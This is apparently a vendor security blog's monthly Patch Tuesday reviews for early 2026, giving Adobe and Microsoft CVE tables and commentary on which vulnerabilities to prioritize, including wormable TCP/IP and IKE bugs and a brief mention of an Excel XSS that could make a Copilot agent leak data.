† Indicates further administrative actions are required to fully address the vulnerability.

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order. There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The March 2026 Security Update Review

Sat, 25 Jul 2026 19:00:43 +0200

I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for March 2026

For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for Acrobat likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for Experience Manager is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for Commerce is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release.

The fix for Illustrator corrects seven bugs, including a few Critical-rated ones. The patch for Substance 3D Painter fixes nine different CVEs, all rated Important. That’s not the case for Substance 3D Stager, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the Adobe DNG Software Development Kit (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for March 2026

This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.

This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:

- CVE-2026-26144 - Microsoft Excel Information Disclosure Vulnerability
This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.

- CVE-2026-26110/CVE-2026-26113 - Microsoft Office Remote Code Execution Vulnerability
Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.

- CVE-2026-23669 - Windows Print Spooler Remote Code Execution Vulnerability
Just reading the title makes me twitch with remembrances of Print Nightmare from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.

- CVE-2026-23668 - Windows Graphics Component Elevation of Privilege Vulnerability
This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.

Here’s the full list of CVEs released by Microsoft for March 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-26127	.NET Denial of Service Vulnerability	Important	7.5	Yes	No	DoS
CVE-2026-21262	SQL Server Elevation of Privilege Vulnerability	Important	8.8	Yes	No	EoP
CVE-2026-23651	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26124	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26122	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21536	Microsoft Devices Pricing Program Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-26144	Microsoft Excel Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26110	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26113	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26125	Payment Orchestrator Service Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-26131	.NET Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25177	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26117	Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26130	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-23661	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23662	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23664	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26121	Azure IOT Explorer Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-26118	Azure MCP Server Tools Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23667	Broadcast DVR Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25190	GDI Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25181	GDI+ Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26030 *	GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable	Important	9.9	No	No	RCE
CVE-2026-23654 *	GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26141	Hybrid Worker Extension (Arc-enabled Windows VMs) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23665 †	Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23674	MapUrlToZone Security Feature Bypass Vulnerability	Important	7.5	No	No	SFB
CVE-2026-26123	Microsoft Authenticator Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26148 †	Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-25167	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.4	No	No	EoP
CVE-2026-26107	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26108	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26109	Microsoft Excel Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-26112	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26134	Microsoft Office Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26106	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26114	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26105	Microsoft SharePoint Server Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-24283	Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-25165	Performance Counters for Windows Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24282	Push message Routing Service Elevation of Privilege Vulnerability	Important	5.5	No	No	Info
CVE-2026-26115	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26116	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-20967	System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-24285	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24291	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25186	Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-23660 †	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24293	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25176	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25178	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25179	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23656	Windows App Installer Spoofing Vulnerability	Important	5.9	No	No	Spoofing
CVE-2026-25171	Windows Authentication Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23671	Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24292	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24295	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24296	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25189	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25174	Windows Extensible File Allocation Table Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25168	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-25169	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-23668	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25180	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-25170	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24297	Windows Kerberos Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-24287	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24289	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26132	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24288	Windows Mobile Broadband Driver Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-25175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23669	Windows Print Spooler Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-24290	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23673	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25172	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25173	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-26111	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25185	Windows Shell Link Processing Spoofing Vulnerability	Important	5.3	No	No	Spoofing
CVE-2026-24294	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26128	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25166	Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25188	Windows Telephony Service Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23672	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25187	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-3536 *	Chromium: CVE-2026-3536 Integer overflow in ANGLE	Critical	N/A	No	No	RCE
CVE-2026-3538 *	Chromium: CVE-2026-3538 Integer overflow in Skia	Critical	N/A	No	No	RCE
CVE-2026-3539 *	Chromium: CVE-2026-3539 Object lifecycle issue in DevTools	High	N/A	No	No	RCE
CVE-2026-3540 *	Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio	High	N/A	No	No	RCE
CVE-2026-3541 *	Chromium: CVE-2026-3541 Inappropriate implementation in CSS	High	N/A	No	No	RCE
CVE-2026-3542 *	Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly	High	N/A	No	No	RCE
CVE-2026-3543 *	Chromium: CVE-2026-3543 Inappropriate implementation in V8	High	N/A	No	No	RCE
CVE-2026-3544 *	Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs	High	N/A	No	No	RCE
CVE-2026-3545 *	Chromium: CVE-2026-3545 Insufficient data validation in Navigation	High	N/A	No	No	RCE

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.

Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.

Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand.

There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.

Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.

There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate.

Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.

No new advisories are being released this month.

Looking Ahead

I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

- CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

- CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

- CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

- CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-32201	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	Yes	Spoofing
CVE-2026-5281 *	Chromium: CVE-2026-5281 Use after free in Dawn	High	N/A	No	Yes	RCE
CVE-2026-33825	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	No	EoP
CVE-2026-23666	.NET Framework Denial of Service Vulnerability	Critical	7.5	No	No	DoS
CVE-2026-32190	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33114	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33115	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-32157	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-33826	Windows Active Directory Remote Code Execution Vulnerability	Critical	8	No	No	RCE
CVE-2026-33824	Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-33827	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-26171	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-32226	.NET Framework Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-32178	.NET Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-32203	.NET and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-33116	.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2023-20585 *	AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability	Important	5.3	No	No	RCE
CVE-2026-32072	Active Directory Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-25184	Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32171	Azure Logic Apps Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32168	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32192	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32181	Connected User Experiences and Telemetry Service Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27924	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32152	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32154	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27923	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32155	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23653	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	5.7	No	No	Info
CVE-2026-23653 *	GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes	Important	7.4	No	No	Info
CVE-2026-33096	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-25250 *	MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix	Important	6	No	No	SFB
CVE-2026-26181	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32219	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32091	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-26152	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33103	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32188	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-32189	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32197	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32198	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32199	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32184	Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26155	Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-27914	Microsoft Management Console Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26149	Microsoft Power Apps Security Feature Bypass	Important	9	No	No	SFB
CVE-2026-32200	Microsoft PowerPoint Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26143	Microsoft PowerShell Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-33120 †	Microsoft SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-20945	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
